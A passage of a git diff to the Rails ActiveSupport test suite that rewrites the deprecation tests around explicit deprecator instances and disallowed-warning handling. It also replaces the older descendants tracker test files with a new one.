-    stderr_output = capture(:stderr) {
-      assert_nil behavior.call("Some error!", ["call stack!"])
+    output = capture(:stderr) do
+      behavior.call("Some error!", ["call stack!"], @deprecator)
+    end
+
+    assert_empty output
+  end
+
+  test ":notify behavior" do
+    @deprecator = ActiveSupport::Deprecation.new("horizon", "MyGem::Custom")
+    @deprecator.behavior = :notify
+    behavior = @deprecator.behavior.first
+
+    expected_payload = {
+      message: "Some error!",
+      callstack: ["call stack!"],
+      deprecation_horizon: "horizon",
+      gem_name: "MyGem::Custom"
     }
-    assert stderr_output.empty?
+
+    assert_notifications_count("deprecation.my_gem_custom", 1) do
+      assert_notification("deprecation.my_gem_custom", expected_payload) do
+        behavior.call("Some error!", ["call stack!"], @deprecator)
+      end
+    end
+  end
+
+  test ":report_error behavior" do
+    @deprecator = ActiveSupport::Deprecation.new("horizon", "MyGem::Custom")
+    @deprecator.behavior = :report
+    report = assert_error_reported(ActiveSupport::DeprecationException) do
+      @deprecator.warn
+    end
+    assert_equal true, report.handled
+    assert_equal :warning, report.severity
+    assert_equal "application", report.source
+  end
+
+  test "invalid behavior" do
+    e = assert_raises(ArgumentError) do
+      @deprecator.behavior = :invalid
+    end
+
+    assert_equal ":invalid is not a valid deprecation behavior.", e.message
+  end
+
+  test "DeprecatedInstanceVariableProxy" do
+    instance = Deprecatee.new
+    instance.fubar = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(instance, :foo_bar, "@fubar", deprecator: @deprecator)
+    instance.foo_bar = "foo bar!"
+
+    fubar_size = assert_deprecated("@fubar.size", @deprecator) { instance.fubar.size }
+    assert_equal instance.foo_bar.size, fubar_size
+
+    fubar_s = assert_deprecated("@fubar.to_s", @deprecator) { instance.fubar.to_s }
+    assert_equal instance.foo_bar.to_s, fubar_s
+  end
+
+  test "DeprecatedInstanceVariableProxy does not warn on inspect" do
+    instance = Deprecatee.new
+    instance.fubar = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(instance, :foo_bar, "@fubar", deprecator: @deprecator)
+    instance.foo_bar = "foo bar!"
+
+    fubar_inspected = assert_not_deprecated(@deprecator) { instance.fubar.inspect }
+    assert_equal instance.foo_bar.inspect, fubar_inspected
+  end
+
+  test "DeprecatedInstanceVariableProxy requires a deprecator" do
+    assert_raises(ArgumentError) do
+      ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(Deprecatee.new, :foobar, "@fubar")
+    end
+  end
+
+  test "DeprecatedConstantProxy" do
+    proxy = ActiveSupport::Deprecation::DeprecatedConstantProxy.new("FUBAR", "Undeprecated::Foo::BAR", @deprecator)
+
+    assert_deprecated("FUBAR", @deprecator) do
+      assert_equal Undeprecated::Foo::BAR, proxy
+    end
+  end
+
+  test "DeprecatedConstantProxy does not warn on .class" do
+    proxy = ActiveSupport::Deprecation::DeprecatedConstantProxy.new("FUBAR", "Undeprecated::Foo::BAR", @deprecator)
+
+    fubar_class = assert_not_deprecated(@deprecator) { proxy.class }
+    assert_equal Undeprecated::Foo::BAR.class, fubar_class
   end
 
-  def test_deprecated_instance_variable_proxy
-    assert_not_deprecated { @dtc.request.size }
+  test "DeprecatedConstantProxy with child constant" do
+    proxy = ActiveSupport::Deprecation::DeprecatedConstantProxy.new("Fuu", "Undeprecated::Foo", @deprecator)
+
+    assert_deprecated("Fuu", @deprecator) do
+      assert_equal Undeprecated::Foo::BAR, proxy::BAR
+    end
 
-    assert_deprecated("@request.size") { assert_equal @dtc.request.size, @dtc.old_request.size }
-    assert_deprecated("@request.to_s") { assert_equal @dtc.request.to_s, @dtc.old_request.to_s }
+    assert_deprecated("Fuu", @deprecator) do
+      assert_raises(NameError) { proxy::DOES_NOT_EXIST }
+    end
   end
 
-  def test_deprecated_instance_variable_proxy_shouldnt_warn_on_inspect
-    assert_not_deprecated { assert_equal @dtc.request.inspect, @dtc.old_request.inspect }
+  test "DeprecatedConstantProxy requires a deprecator" do
+    assert_raise(ArgumentError) do
+      ActiveSupport::Deprecation::DeprecatedConstantProxy.new("Fuu", "Undeprecated::Foo")
+    end
   end
 
-  def test_deprecated_constant_proxy
-    assert_not_deprecated { Deprecatee::B::C }
-    assert_deprecated("Deprecatee::A") { assert_equal Deprecatee::B::C, Deprecatee::A }
-    assert_not_deprecated { assert_equal Deprecatee::B::C.class, Deprecatee::A.class }
+  test "deprecate_constant" do
+    legacy = Module.new { def self.name; "Legacy"; end }
+    legacy.include ActiveSupport::Deprecation::DeprecatedConstantAccessor
+    legacy.deprecate_constant "FUBAR", "Undeprecated::Foo::BAR", deprecator: @deprecator
+
+    assert_deprecated("Legacy::FUBAR", @deprecator) do
+      assert_equal Undeprecated::Foo::BAR, legacy::FUBAR
+    end
   end
 
-  def test_assert_deprecated_raises_when_method_not_deprecated
-    assert_raises(Minitest::Assertion) { assert_deprecated { @dtc.not } }
+  test "deprecate_constant when rescuing a deprecated error" do
+    legacy = Module.new { def self.name; "Legacy"; end }
+    legacy.include ActiveSupport::Deprecation::DeprecatedConstantAccessor
+    legacy.deprecate_constant "Error", "Undeprecated::Error", deprecator: @deprecator
+
+    assert_deprecated("Legacy::Error", @deprecator) do
+      assert_nothing_raised do
+        raise Undeprecated::Error
+      rescue legacy::Error
+      end
+    end
+  end
+
+  test "deprecate_constant requires a deprecator" do
+    legacy = Module.new.include(ActiveSupport::Deprecation::DeprecatedConstantAccessor)
+    assert_raises(ArgumentError) do
+      legacy.deprecate_constant "OLD", "NEW"
+    end
   end
 
-  def test_assert_not_deprecated
-    assert_raises(Minitest::Assertion) { assert_not_deprecated { @dtc.partially } }
+  test "assert_deprecated raises when no deprecation warning" do
+    assert_raises(Minitest::Assertion) do
+      assert_deprecated(@deprecator) { 1 + 1 }
+    end
+  end
+
+  test "assert_not_deprecated raises when some deprecation warning" do
+    assert_raises(Minitest::Assertion) do
+      assert_not_deprecated(@deprecator) { @deprecator.warn }
+    end
   end
 
-  def test_assert_deprecation_without_match
-    assert_deprecated do
-      @dtc.partially
+  test "assert_deprecated without match argument" do
+    assert_deprecated(@deprecator) do
+      @deprecator.warn
     end
   end
 
-  def test_assert_deprecated_matches_any_warning
-    assert_deprecated "abc" do
-      ActiveSupport::Deprecation.warn "abc"
-      ActiveSupport::Deprecation.warn "def"
+  test "assert_deprecated matches any warning from block" do
+    assert_deprecated("abc", @deprecator) do
+      @deprecator.warn "abc"
+      @deprecator.warn "def"
     end
   rescue Minitest::Assertion
     flunk "assert_deprecated should match any warning in block, not just the last one"
   end
 
-  def test_assert_not_deprecated_returns_result_of_block
-    assert_equal 123, assert_not_deprecated { 123 }
+  test "assert_not_deprecated returns the result of the block" do
+    assert_equal 123, assert_not_deprecated(@deprecator) { 123 }
   end
 
-  def test_assert_deprecated_returns_result_of_block
-    result = assert_deprecated("abc") do
-      ActiveSupport::Deprecation.warn "abc"
+  test "assert_deprecated returns the result of the block" do
+    result = assert_deprecated("abc", @deprecator) do
+      @deprecator.warn "abc"
       123
     end
     assert_equal 123, result
   end
 
-  def test_assert_deprecated_warn_work_with_default_behavior
-    ActiveSupport::Deprecation.instance_variable_set("@behavior", nil)
-    assert_deprecated("abc") do
-      ActiveSupport::Deprecation.warn "abc"
+  test "silence" do
+    assert_not @deprecator.silenced
+
+    @deprecator.silence do
+      assert_not_deprecated(@deprecator) { @deprecator.warn }
     end
+
+    assert_deprecated(@deprecator) { @deprecator.warn }
+
+    @deprecator.silenced = true
+    assert @deprecator.silenced
+
+    assert_not_deprecated(@deprecator) { @deprecator.warn }
   end
 
-  def test_silence
-    ActiveSupport::Deprecation.silence do
-      assert_not_deprecated { @dtc.partially }
+  test "silence returns the result of the block" do
+    assert_equal 123, @deprecator.silence { 123 }
+  end
+
+  test "silence ensures silencing is reverted after an error is raised" do
+    assert_raises do
+      @deprecator.silence { raise }
     end
 
-    ActiveSupport::Deprecation.silenced = true
-    assert_not_deprecated { @dtc.partially }
-    ActiveSupport::Deprecation.silenced = false
+    assert_deprecated(@deprecator) { @deprecator.warn }
   end
 
-  def test_deprecation_without_explanation
-    assert_deprecated { @dtc.a }
-    assert_deprecated { @dtc.b }
-    assert_deprecated { @dtc.f = :foo }
-  end
+  test "silence only affects the current thread" do
+    @deprecator.silence do
+      assert_not_deprecated(@deprecator) { @deprecator.warn }
+
+      Thread.new do
+        assert_deprecated(@deprecator) { @deprecator.warn }
 
-  def test_deprecation_with_alternate_method
-    assert_deprecated(/use e instead/) { @dtc.c }
+        @deprecator.silence do
+          assert_not_deprecated(@deprecator) { @deprecator.warn }
+        end
+
+        assert_deprecated(@deprecator) { @deprecator.warn }
+      end.join
+
+      assert_not_deprecated(@deprecator) { @deprecator.warn }
+    end
   end
 
-  def test_deprecation_with_explicit_message
-    assert_deprecated(/you now need to do something extra for this one/) { @dtc.d }
+  test "Module::deprecate with method name only" do
+    klass = Class.new(Deprecatee)
+    klass.deprecate :fubar, :fubar=, deprecator: @deprecator
+
+    assert_deprecated(@deprecator) { klass.new.fubar }
+    assert_deprecated(@deprecator) { klass.new.fubar = :foo }
   end
 
-  def test_deprecation_in_other_object
-    messages = []
+  test "Module::deprecate with alternative method" do
+    klass = Class.new(Deprecatee)
+    klass.deprecate fubar: :foo_bar, deprecator: @deprecator
 
-    klass = Class.new do
-      delegate :warn, :behavior=, to: ActiveSupport::Deprecation
-    end
+    assert_deprecated(/use foo_bar instead/, @deprecator) { klass.new.fubar }
+  end
 
-    o = klass.new
-    o.behavior = Proc.new { |message, callstack| messages << message }
-    assert_difference("messages.size") do
-      o.warn("warning")
-    end
+  test "Module::deprecate with message" do
+    klass = Class.new(Deprecatee)
+    klass.deprecate fubar: "this is the old way", deprecator: @deprecator
+
+    assert_deprecated(/this is the old way/, @deprecator) { klass.new.fubar }
   end
 
-  def test_deprecated_method_with_custom_method_warning
+  test "overriding deprecated_method_warning" do
     deprecator = deprecator_with_messages
 
     class << deprecator
@@ -262,7 +512,7 @@ def method
     assert deprecator.messages.first.match("DEPRECATION WARNING: deprecator.deprecated_method_warning.method")
   end
 
-  def test_deprecate_with_custom_deprecator
+  test "Module::deprecate with custom deprecator" do
     custom_deprecator = Struct.new(:deprecation_warning).new
 
     assert_called_with(custom_deprecator, :deprecation_warning, [:method, nil]) do
@@ -276,7 +526,7 @@ def method
     end
   end
 
-  def test_deprecated_constant_with_deprecator_given
+  test "DeprecatedConstantProxy with explicit deprecator" do
     deprecator = deprecator_with_messages
     klass = Class.new
     klass.const_set(:OLD, ActiveSupport::Deprecation::DeprecatedConstantProxy.new("klass::OLD", "Object", deprecator))
@@ -285,7 +535,7 @@ def test_deprecated_constant_with_deprecator_given
     end
   end
 
-  def test_deprecated_constant_with_custom_message
+  test "DeprecatedConstantProxy with message" do
     deprecator = deprecator_with_messages
 
     klass = Class.new
@@ -295,81 +545,283 @@ def test_deprecated_constant_with_custom_message
     assert_match "foo", deprecator.messages.last
   end
 
-  def test_deprecated_instance_variable_with_instance_deprecator
-    deprecator = deprecator_with_messages
+  test "default deprecation_horizon is greater than the current Rails version" do
+    assert_operator ActiveSupport::Deprecation.new.deprecation_horizon, :>, ActiveSupport::VERSION::STRING
+  end
 
-    klass = Class.new() do
-      def initialize(deprecator)
-        @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator)
-        @_request = :a_request
-      end
-      def request; @_request end
-      def old_request; @request end
+  test "default gem_name is Rails" do
+    deprecator = ActiveSupport::Deprecation.new
+
+    deprecator.send(:deprecated_method_warning, :deprecated_method, "You are calling deprecated method").tap do |message|
+      assert_match(/is deprecated and will be removed from Rails/, message)
     end
+  end
+
+  test "custom gem_name" do
+    deprecator = ActiveSupport::Deprecation.new("2.0", "Custom")
 
-    assert_difference("deprecator.messages.size") { klass.new(deprecator).old_request.to_s }
+    deprecator.send(:deprecated_method_warning, :deprecated_method, "You are calling deprecated method").tap do |message|
+      assert_match(/is deprecated and will be removed from Custom/, message)
+    end
   end
 
-  def test_deprecated_instance_variable_with_given_deprecator
-    deprecator = deprecator_with_messages
+  test "Module::deprecate can be called before the target method is defined" do
+    klass = Class.new(Deprecatee)
+    klass.deprecate :multi!, deprecator: @deprecator
+    klass.alias_method :multi!, :multi
 
-    klass = Class.new do
-      define_method(:initialize) do
-        @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator)
-        @_request = :a_request
-      end
-      def request; @_request end
-      def old_request; @request end
+    assert_deprecated(/multi! is deprecated/, @deprecator) do
+      assert_equal [1, 2, 3], klass.new.multi!(1, 2, 3)
     end
+  end
+
+  test "warn with empty callstack" do
+    @deprecator.behavior = :silence
 
-    assert_difference("deprecator.messages.size") { klass.new.old_request.to_s }
+    assert_nothing_raised do
+      @deprecator.warn("message", [])
+      Thread.new { @deprecator.warn("message") }.join
+    end
   end
 
-  def test_delegate_deprecator_instance
-    klass = Class.new do
-      attr_reader :last_message
-      delegate :warn, :behavior=, to: ActiveSupport::Deprecation
+  test "disallowed_warnings is empty by default" do
+    assert_equal [], @deprecator.disallowed_warnings
+  end
 
-      def initialize
-        self.behavior = [Proc.new { |message| @last_message = message }]
-      end
+  test "disallowed_warnings can be configured" do
+    config_warnings = ["unsafe_method is going away"]
+    @deprecator.disallowed_warnings = config_warnings
+    assert_equal @deprecator.disallowed_warnings, config_warnings
+  end
 
-      def deprecated_method
-        warn(deprecated_method_warning(:deprecated_method, "You are calling deprecated method"))
-      end
+  test "disallowed_behavior does not trigger when disallowed_warnings is empty" do
+    @deprecator.disallowed_behavior = proc { flunk }
 
-      private
-        def deprecated_method_warning(method_name, message = nil)
-          message || "#{method_name} is deprecated and will be removed from This Library"
+    assert_deprecated(/fubar/, @deprecator) do
+      @deprecator.warn("using fubar is deprecated")
+    end
+  end
+
+  test "disallowed_behavior does not trigger when disallowed_warnings does not match the warning" do
+    @deprecator.disallowed_behavior = proc { flunk }
+    @deprecator.disallowed_warnings = ["foo bar"]
+
+    assert_deprecated(/fubar/, @deprecator) do
+      @deprecator.warn("using fubar is deprecated")
+    end
+  end
+
+  test "disallowed_warnings can match using a substring" do
+    @deprecator.disallowed_warnings = ["fubar"]
+
+    assert_disallowed(/fubar/, @deprecator) do
+      @deprecator.warn("using fubar is deprecated")
+    end
+  end
+
+  test "disallowed_warnings can match using a substring as a symbol" do
+    @deprecator.disallowed_warnings = [:fubar]
+
+    assert_disallowed(/fubar/, @deprecator) do
+      @deprecator.warn("using fubar is deprecated")
+    end
+  end
+
+  test "disallowed_warnings can match using a regexp" do
+    @deprecator.disallowed_warnings = [/f[aeiou]+bar/]
+
+    assert_disallowed(/fubar/, @deprecator) do
+      @deprecator.warn("using fubar is deprecated")
+    end
+  end
+
+  test "disallowed_warnings matches all warnings when set to :all" do
+    @deprecator.disallowed_warnings = :all
+
+    assert_disallowed(/fubar/, @deprecator) do
+      @deprecator.warn("using fubar is deprecated")
+    end
+  end
+
+  test "different behaviors for allowed and disallowed warnings" do
+    @deprecator.disallowed_warnings = :all
+    @deprecator.behavior = proc { flunk }
+
+    assert_disallowed(/fubar/, @deprecator) do
+      @deprecator.warn("using fubar is deprecated")
+    end
+  end
+
+  test "disallowed_warnings with the default warning message" do
+    @deprecator.disallowed_warnings = :all
+    assert_disallowed(@deprecator) { @deprecator.warn }
+
+    @deprecator.disallowed_warnings = ["fubar"]
+    assert_deprecated(@deprecator) { @deprecator.warn }
+  end
+
+  test "disallowed_behavior callbacks" do
+    assert_callbacks_called_with(deprecator: @deprecator, message: /fubar/) do |callbacks|
+      @deprecator.disallowed_behavior = callbacks
+      @deprecator.disallowed_warnings = ["fubar"]
+      @deprecator.warn("fubar")
+    end
+  end
+
+  test "allow" do
+    @deprecator.disallowed_warnings = :all
+
+    assert_disallowed(@deprecator) { @deprecator.warn }
+
+    @deprecator.allow do
+      assert_deprecated(@deprecator) { @deprecator.warn }
+    end
+  end
+
+  test "allow only allows matching warnings using a substring" do
+    @deprecator.disallowed_warnings = :all
+
+    @deprecator.allow(["foo bar", "baz qux"]) do
+      assert_deprecated(/foo bar/, @deprecator) { @deprecator.warn("foo bar") }
+      assert_deprecated(/baz qux/, @deprecator) { @deprecator.warn("baz qux") }
+      assert_disallowed(/fubar/, @deprecator) { @deprecator.warn("fubar") }
+    end
+  end
+
+  test "allow only allows matching warnings using a substring as a symbol" do
+    @deprecator.disallowed_warnings = :all
+
+    @deprecator.allow([:"foo bar", :"baz qux"]) do
+      assert_deprecated(/foo bar/, @deprecator) { @deprecator.warn("foo bar") }
+      assert_deprecated(/baz qux/, @deprecator) { @deprecator.warn("baz qux") }
+      assert_disallowed(/fubar/, @deprecator) { @deprecator.warn("fubar") }
+    end
+  end
+
+  test "allow only allows matching warnings using a regexp" do
+    @deprecator.disallowed_warnings = :all
+
+    @deprecator.allow([/(foo|baz) (bar|qux)/]) do
+      assert_deprecated(/foo bar/, @deprecator) { @deprecator.warn("foo bar") }
+      assert_deprecated(/baz qux/, @deprecator) { @deprecator.warn("baz qux") }
+      assert_disallowed(/fubar/, @deprecator) { @deprecator.warn("fubar") }
+    end
+  end
+
+  test "allow only affects its block" do
+    @deprecator.disallowed_warnings = :all
+
+    @deprecator.allow do
+      assert_deprecated(@deprecator) { @deprecator.warn }
+    end
+
+    assert_disallowed(@deprecator) { @deprecator.warn }
+  end
+
+  test "allow only affects the current thread" do
+    @deprecator.disallowed_warnings = :all
+
+    @deprecator.allow do
+      assert_deprecated(@deprecator) { @deprecator.warn }
+
+      Thread.new do
+        assert_disallowed(@deprecator) { @deprecator.warn }
+
+        @deprecator.allow do
+          assert_deprecated(@deprecator) { @deprecator.warn }
         end
+
+        assert_disallowed(@deprecator) { @deprecator.warn }
+      end.join
+
+      assert_deprecated(@deprecator) { @deprecator.warn }
+    end
+  end
+
+  test "allow with :if option" do
+    @deprecator.disallowed_warnings = :all
+
+    @deprecator.allow("fubar", if: true) do
+      assert_deprecated(/fubar/, @deprecator) { @deprecator.warn("fubar") }
     end
 
-    object = klass.new
-    object.deprecated_method
-    assert_match(/You are calling deprecated method/, object.last_message)
+    @deprecator.allow("fubar", if: false) do
+      assert_disallowed(/fubar/, @deprecator) { @deprecator.warn("fubar") }
+    end
   end
 
-  def test_default_deprecation_horizon_should_always_bigger_than_current_rails_version
-    assert_operator ActiveSupport::Deprecation.new.deprecation_horizon, :>, ActiveSupport::VERSION::STRING
+  test "allow with :if option as a proc" do
+    @deprecator.disallowed_warnings = :all
+
+    @deprecator.allow("fubar", if: -> { true }) do
+      assert_deprecated(/fubar/, @deprecator) { @deprecator.warn("fubar") }
+    end
+
+    @deprecator.allow("fubar", if: -> { false }) do
+      assert_disallowed(/fubar/, @deprecator) { @deprecator.warn("fubar") }
+    end
   end
 
-  def test_default_gem_name
-    deprecator = ActiveSupport::Deprecation.new
+  test "allow with the default warning message" do
+    @deprecator.disallowed_warnings = :all
 
-    deprecator.send(:deprecated_method_warning, :deprecated_method, "You are calling deprecated method").tap do |message|
-      assert_match(/is deprecated and will be removed from Rails/, message)
+    @deprecator.allow(:all) do
+      assert_deprecated(@deprecator) { @deprecator.warn }
+    end
+
+    @deprecator.allow(["fubar"]) do
+      assert_disallowed(@deprecator) { @deprecator.warn }
     end
   end
 
-  def test_custom_gem_name
-    deprecator = ActiveSupport::Deprecation.new("2.0", "Custom")
+  test "warn deprecation skips the internal caller locations" do
+    @deprecator.behavior = ->(_, callstack, *) { @callstack = callstack }
+    method_that_emits_deprecation(@deprecator)
+    assert_equal File.expand_path(__FILE__), @callstack.first.absolute_path
+    assert_equal __LINE__ - 2, @callstack.first.lineno
+  end
 
-    deprecator.send(:deprecated_method_warning, :deprecated_method, "You are calling deprecated method").tap do |message|
-      assert_match(/is deprecated and will be removed from Custom/, message)
+  class_eval(<<~RUBY, "/path/to/template.html.erb", 1)
+    def generated_method_that_call_deprecation(deprecator)
+      deprecator.warn("Here", caller_locations(0, 10))
     end
+  RUBY
+
+  test "warn deprecation can blame code generated with eval" do
+    @deprecator.behavior = ->(message, *) { @message = message }
+    generated_method_that_call_deprecation(@deprecator)
+    if RUBY_VERSION >= "3.4"
+      assert_equal "DEPRECATION WARNING: Here (called from DeprecationTest#generated_method_that_call_deprecation at /path/to/template.html.erb:2)", @message
+    else
+      assert_equal "DEPRECATION WARNING: Here (called from generated_method_that_call_deprecation at /path/to/template.html.erb:2)", @message
+    end
+  end
+
+  test "warn deprecation can blame code from internal methods" do
+    @deprecator.behavior = ->(message, *) { @message = message }
+    method_that_emits_deprecation_with_internal_method(@deprecator)
+
+    assert_includes(@message, "/path/to/user/code.rb")
   end
 
+  class_eval(<<~RUBY, "/path/to/user/code.rb", 1)
+    def method_that_emits_deprecation_with_internal_method(deprecator)
+      [1].each { deprecator.warn }
+    end
+  RUBY
+
   private
+    def method_that_emits_deprecation(deprecator)
+      deprecator.warn
+    end
+
+    def with_rails_application_deprecators(&block)
+      application = Struct.new(:deprecators).new(ActiveSupport::Deprecation::Deprecators.new)
+      rails = Struct.new(:application).new(application)
+      rails.application.deprecators[:deprecator] = @deprecator
+      stub_const(Object, :Rails, rails, &block)
+    end
+
     def deprecator_with_messages
       klass = Class.new(ActiveSupport::Deprecation)
       deprecator = klass.new
@@ -379,4 +831,101 @@ def deprecator.messages
       end
       deprecator
     end
+
+    module ::Rails; end
+
+    def with_rails_logger(logger)
+      ::Rails.singleton_class.class_eval do
+        alias_method :__original_logger, :logger if method_defined?(:logger)
+        define_method(:logger) { logger }
+      end
+
+      yield logger
+    ensure
+      ::Rails.singleton_class.class_eval do
+        if method_defined?(:__original_logger)
+          alias_method :logger, :__original_logger
+          undef_method :__original_logger
+        else
+          undef_method :logger
+        end
+      end
+    end
+
+    # a la collect_deprecations
+    def collect_disallowed(deprecator)
+      deprecator ||= ActiveSupport::Deprecation
+      original_disallowed_behavior = deprecator.disallowed_behavior
+      disallowed = []
+      deprecator.disallowed_behavior = proc { |message| disallowed << message }
+      result = yield
+      [result, disallowed]
+    ensure
+      deprecator.disallowed_behavior = original_disallowed_behavior
+    end
+
+    # a la assert_deprecated
+    def assert_disallowed(match = nil, deprecator = nil, &block)
+      match, deprecator = nil, match if match.is_a?(ActiveSupport::Deprecation)
+      result, disallowed = collect_disallowed(deprecator, &block)
+      assert_not_empty disallowed, "Expected a disallowed deprecation within the block but received none"
+      if match
+        match = Regexp.new(Regexp.escape(match)) unless match.is_a?(Regexp)
+        assert disallowed.any?(match), "No disallowed deprecations matched #{match}: #{disallowed.inspect}"
+      end
+      result
+    end
+
+    def assert_callbacks_called_with(matchers = {})
+      matchers[:message] ||= String
+      matchers[:callstack] ||= Array
+      matchers[:deprecator]&.tap do |deprecator|
+        matchers[:deprecation_horizon] ||= deprecator.deprecation_horizon
+        matchers[:gem_name] ||= deprecator.gem_name
+      end
+
+      bindings = []
+
+      callbacks = [
+        lambda { |message, callstack, deprecator| bindings << binding },
+        proc   { |message, callstack, deprecator| bindings << binding },
+        lambda { |message, callstack, deprecation_horizon, gem_name| bindings << binding },
+        proc   { |message, callstack, deprecation_horizon, gem_name| bindings << binding },
+        lambda { |message, callstack| bindings << binding },
+        proc   { |message, callstack| bindings << binding },
+        proc   { |message| bindings << binding },
+        proc   { bindings << binding },
+
+        lambda do |*args|
+          message, callstack, deprecator = args
+          bindings << binding
+          [message, callstack, deprecator]
+        end,
+
+        lambda do |message, *other|
+          callstack, deprecator = other
+          bindings << binding
+          [callstack, deprecator]
+        end,
+
+        lambda do |message, callstack, *details|
+          deprecation_horizon, gem_name = details
+          bindings << binding
+          [deprecation_horizon, gem_name]
+        end,
+      ]
+
+      yield callbacks
+
+      assert_equal callbacks.size, bindings.size
+
+      bindings.each do |bound|
+        matchers.each do |name, matcher|
+          if bound.local_variable_defined?(name)
+            assert_operator matcher, :===, bound.local_variable_get(name),
+              "Unexpected #{name} in callback defined at #{bound.source_location.join(":")}"
+          end
+        end
+      end
+    end
 end
diff --git a/activesupport/test/descendants_tracker_test.rb b/activesupport/test/descendants_tracker_test.rb
new file mode 100644
index 0000000000000..872d33971ff74
--- /dev/null
+++ b/activesupport/test/descendants_tracker_test.rb
@@ -0,0 +1,88 @@
+# frozen_string_literal: true
+
+require_relative "abstract_unit"
+require "active_support/descendants_tracker"
+
+class DescendantsTrackerTest < ActiveSupport::TestCase
+  setup do
+    if ActiveSupport::DescendantsTracker.class_variable_defined?(:@@direct_descendants)
+      @original_state = ActiveSupport::DescendantsTracker.class_variable_get(:@@direct_descendants).dup
+      @original_state.each { |k, v| @original_state[k] = v.dup }
+    end
+
+    eval <<~RUBY
+      class Parent
+        extend ActiveSupport::DescendantsTracker
+      end
+
+      class Child1 < Parent
+      end
+
+      class Child2 < Parent
+      end
+
+      class Grandchild1 < Child1
+      end
+
+      class Grandchild2 < Child1
+      end
+    RUBY
+  end
+
+  teardown do
+    if ActiveSupport::DescendantsTracker.class_variable_defined?(:@@direct_descendants)
+      ActiveSupport::DescendantsTracker.class_variable_get(:@@direct_descendants).replace(@original_state)
+    end
+
+    %i(Parent Child1 Child2 Grandchild1 Grandchild2).each do |name|
+      if DescendantsTrackerTest.const_defined?(name)
+        DescendantsTrackerTest.send(:remove_const, name)
+      end
+    end
+  end
+
+  test ".descendants" do
+    assert_equal_sets [Child1, Grandchild1, Grandchild2, Child2], Parent.descendants
+    assert_equal_sets [Grandchild1, Grandchild2], Child1.descendants
+    assert_equal_sets [], Child2.descendants
+  end
+
+  test ".descendants with garbage collected classes" do
+    # The Ruby GC (and most other GCs for that matter) are not fully precise.
+    # When GC is run, the whole stack is scanned to mark any object reference
+    # in registers. But some of these references might simply be leftovers from
+    # previous method calls waiting to be overridden, and there's no definite
+    # way to clear them. By executing this code in a distinct thread, we ensure
+    # that such references are on a stack that will be entirely garbage
+    # collected, effectively working around the problem.
+    Thread.new do
+      child_klass = Class.new(Parent)
+      assert_equal_sets [Child1, Grandchild1, Grandchild2, Child2, child_klass], Parent.descendants
+    end.join
+
+    # Calling `GC.start` 4 times should trigger a full GC run
+    4.times do
+      GC.start
+    end
+
+    assert_equal_sets [Child1, Grandchild1, Grandchild2, Child2], Parent.descendants
+  end
+
+  test ".subclasses" do
+    assert_equal_sets [Child1, Child2], Parent.subclasses
+    assert_equal_sets [Grandchild1, Grandchild2], Child1.subclasses
+    assert_equal_sets [], Child2.subclasses
+  end
+
+  test ".clear(classes) deletes the given classes only" do
+    ActiveSupport::DescendantsTracker.clear(Set[Child2, Grandchild1])
+
+    assert_equal_sets [Child1, Grandchild2], Parent.descendants
+    assert_equal_sets [Grandchild2], Child1.descendants
+  end
+
+  private
+    def assert_equal_sets(expected, actual)
+      assert_equal Set.new(expected), Set.new(actual)
+    end
+end
diff --git a/activesupport/test/descendants_tracker_test_cases.rb b/activesupport/test/descendants_tracker_test_cases.rb
deleted file mode 100644
index cf349d53ee4a8..0000000000000
--- a/activesupport/test/descendants_tracker_test_cases.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-require "set"
-
-module DescendantsTrackerTestCases
-  class Parent
-    extend ActiveSupport::DescendantsTracker
-  end
-
-  class Child1 < Parent
-  end
-
-  class Child2 < Parent
-  end
-
-  class Grandchild1 < Child1
-  end
-
-  class Grandchild2 < Child1
-  end
-
-  ALL = [Parent, Child1, Child2, Grandchild1, Grandchild2]
-
-  def test_descendants
-    assert_equal_sets [Child1, Grandchild1, Grandchild2, Child2], Parent.descendants
-    assert_equal_sets [Grandchild1, Grandchild2], Child1.descendants
-    assert_equal_sets [], Child2.descendants
-  end
-
-  def test_direct_descendants
-    assert_equal_sets [Child1, Child2], Parent.direct_descendants
-    assert_equal_sets [Grandchild1, Grandchild2], Child1.direct_descendants
-    assert_equal_sets [], Child2.direct_descendants
-  end
-
-  def test_clear
-    mark_as_autoloaded(*ALL) do
-      ActiveSupport::DescendantsTracker.clear
-      ALL.each do |k|
-        assert ActiveSupport::DescendantsTracker.descendants(k).empty?
-      end
-    end
-  end
-
-  private
-
-    def assert_equal_sets(expected, actual)
-      assert_equal Set.new(expected), Set.new(actual)
-    end
-
-    def mark_as_autoloaded(*klasses)
-      # If ActiveSupport::Dependencies is not loaded, forget about autoloading.
-      # This allows using AS::DescendantsTracker without AS::Dependencies.
-      if defined? ActiveSupport::Dependencies
-        old_autoloaded = ActiveSupport::Dependencies.autoloaded_constants.dup
-        ActiveSupport::Dependencies.autoloaded_constants = klasses.map(&:name)
-      end
-
-      old_descendants = ActiveSupport::DescendantsTracker.class_eval("@@direct_descendants").dup
-      old_descendants.each { |k, v| old_descendants[k] = v.dup }
-
-      yield
-    ensure
-      ActiveSupport::Dependencies.autoloaded_constants = old_autoloaded if defined? ActiveSupport::Dependencies
-      ActiveSupport::DescendantsTracker.class_eval("@@direct_descendants").replace(old_descendants)
-    end
-end
diff --git a/activesupport/test/descendants_tracker_with_autoloading_test.rb b/activesupport/test/descendants_tracker_with_autoloading_test.rb
deleted file mode 100644
index e202667a8a050..0000000000000
--- a/activesupport/test/descendants_tracker_with_autoloading_test.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-require "abstract_unit"
-require "active_support/descendants_tracker"
-require "active_support/dependencies"
-require "descendants_tracker_test_cases"
-
-class DescendantsTrackerWithAutoloadingTest < ActiveSupport::TestCase
-  include DescendantsTrackerTestCases
-
-  def test_clear_with_autoloaded_parent_children_and_grandchildren
-    mark_as_autoloaded(*ALL) do
-      ActiveSupport::DescendantsTracker.clear
-      ALL.each do |k|
-        assert ActiveSupport::DescendantsTracker.descendants(k).empty?
-      end
-    end
-  end
-
-  def test_clear_with_autoloaded_children_and_grandchildren
-    mark_as_autoloaded Child1, Grandchild1, Grandchild2 do
-      ActiveSupport::DescendantsTracker.clear
-      assert_equal_sets [Child2], Parent.descendants
-      assert_equal_sets [], Child2.descendants
-    end
-  end
-
